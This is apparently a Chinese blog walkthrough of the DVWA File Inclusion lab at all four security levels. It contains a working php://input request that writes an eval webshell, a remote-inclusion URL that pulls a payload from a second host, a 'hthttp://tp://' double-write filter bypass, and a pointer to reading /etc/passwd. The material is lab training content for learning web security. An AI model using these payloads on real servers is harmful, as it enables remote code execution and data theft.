DVWA File Inclusion(文件包含)全等级
File Inclusion(文件包含)
前言
本地文件包含:输入相对路径和文件名即可
远程文件包含:输入远程地址,会自动解析php代码
PHP伪协议
file:// ——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// ——访问各个输入输出流(I/O streams)
data:// ——数据(RFC 2397)
phar:// ——PHP归档
php://filter(本地磁盘文件进行读取)
php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。
file://(读取文件内容)
data://(读取文件,和php://input类似)
phar://(不管后缀是什么,都会解压缩)
1.Low
get webshell
本地文件包含
构造POST请求包上传文件
POST /vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.171.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.171.10
DNT: 1
Connection: close
Referer: http://192.168.171.10/vulnerabilities/fi/?page=include.php
Cookie: PHPSESSID=ncdmp2l6fq938hds1mrrcshvg2; security=low
Upgrade-Insecure-Requests: 1
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
这个php代码的意思是新建一个shell.php的文件,内容是<?php @eval($_POST[shell])?>');?>,即一句话木马。
用蚁剑连接
可以正常执行命令,获取webshell

有关文件上传的更多知识,请查看:DVWA File Upload(文件上传)
远程文件包含
可以在远程服务器上网站目录上创建以下内容文件,注意后缀名不能设置成.php,不然会被远程服务器解析php代码,而不是靶机解析。
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
然后用靶机网站文件包含打开服务器的文件,写入一句话木马就成功了。
http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg
2.Medium
把http:// , https://等特殊字符过滤掉了。
可以把
http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg
改成
http://192.168.171.10/vulnerabilities/fi/?page=hthttp://tp://192.168.171.2/shell.jpg
即在http://两边再加上http://即可绕过过滤。
即构造hthttp://tp:,当http://被过滤掉时,剩下的字符自动拼接在一起,就形成了http://
该绕过方法被称为双写绕过。
3. High
只能包含file开头的文件
file:// 用来访问本地文件
http:// 用来访问网络中的文件
High级别还是可以访问本地文件。
无法上传一句话木马,但还是可以查看靶机电脑的文件。

Linux 系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息
4.Impossible
比较安全
只能打开file1、file2、file3、include.php,彻底杜绝了文件包含漏洞。
DVWA File Inclusion(文件包含)全等级的更多相关文章
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- Pikachu-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...
- DVWA File Inclusion 通关教程
File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...
- DVWA-File Inclusion(文件包含)
文件包含漏洞,当我们在一个代码文件想要引入.嵌套另一个代码文件的时候,就是文件包含. 常见的文件包含函数有include require等函数. 这两个函数的区别就是include在包含文件不存在时p ...
- dvwa——命令注入&文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...
- 2. DVWA亲测文件包含漏洞
Low级: 我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...
- DVWA各级文件包含漏洞
File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...
- DVWA 黑客攻防演练(四)文件包含 File Inclusion
文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...
- 文件包含(File Inclusion)
什么是文件包含? 本室旨在为您提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI).远程文件包含 (RFI) 和目录遍历.此外,我们将讨论这些漏洞被发现后的风险以及所需的补救措施 在某些情况下 ...
- 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
随机推荐
- 在同一个k8s集群中部署多套nginx-controller
1.nginx-controller部署请参考我的另一篇博客 nginx Ingress Controller Packaged by Bitnami 2.修改values.yaml 不通contro ...
- Java 中for循环和foreach循环哪个更快?
摘要:本文由葡萄城技术团队于博客园发布.转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 前言 在Java编程中,循环结构是程序员常用的控制流程,而for循环 ...
- 小米云原生文件存储平台化实践:支撑 AI 训练、大模型、容器平台多项业务
小米作为全球知名的科技巨头公司,已经在数百款产品中广泛应用了 AI 技术,这些产品包括手机.电视.智能音箱.儿童手表和翻译机等.这些 AI 应用主要都是通过小米的深度学习训练平台完成的. 在训练平台的 ...
- 【matplotlib 实战】--雷达图
雷达图(Radar Chart),也被称为蛛网图或星型图,是一种用于可视化多个变量之间关系的图表形式.雷达图是一种显示多变量数据的图形方法.通常从同一中心点开始等角度间隔地射出三个以上的轴,每个轴代表 ...
- 实用的命令行终端增强软件:Tabby
还是那句话:出众的软件有很多,适合自己的才是最好的. 一.软件介绍 Tabby是一个开源免费软件,支持Windows.macOS和Linux系统.它提供了一个高度可定制的终端界面,可以通过多种方式添加 ...
- [Python] Turtle库的运用, 创作精美绘画
更多示例代码下载地址 : https://github.com/Amd794/Python123 前言 最初来自于 Wally Feurzig 和 Seymour Papert 于 1966 年所创造 ...
- Node.js精进(12)——ElasticSearch
ElasticSearch(简称 ES)是一款基于 Lucene 的分布式.可扩展.RESTful 风格的全文检索和数据分析引擎,擅长实时处理 PB 级别的数据. 一.基本概念 1)Lucene Lu ...
- 信创就用国产的 Solon Java Framework,v2.6.0 发布
先吹牛! 在 v2.6 这个新的里程碑节点,Solon 又完成了几件惊天大事(每一件,都是经历了漫长时间打磨与积累): (1)Solon Native,有了第一个开源案例:dromara/neutri ...
- java中LocalDate、Calendar、Date类型进行加减
java三种类型的加减,LocalDate.Calendar.Date @ 目录 1.LocalDate类型加减: 2.Calendar加减: 3.Date类型加减 1.LocalDate类型加减: ...
- 每天5分钟复习OpenStack(十一)Ceph部署
在之前的章节中,我们介绍了Ceph集群的组件,一个最小的Ceph集群包括Mon.Mgr和Osd三个部分.为了更好地理解Ceph,我建议在进行部署时采取手动方式,这样方便我们深入了解Ceph的底层.今天 ...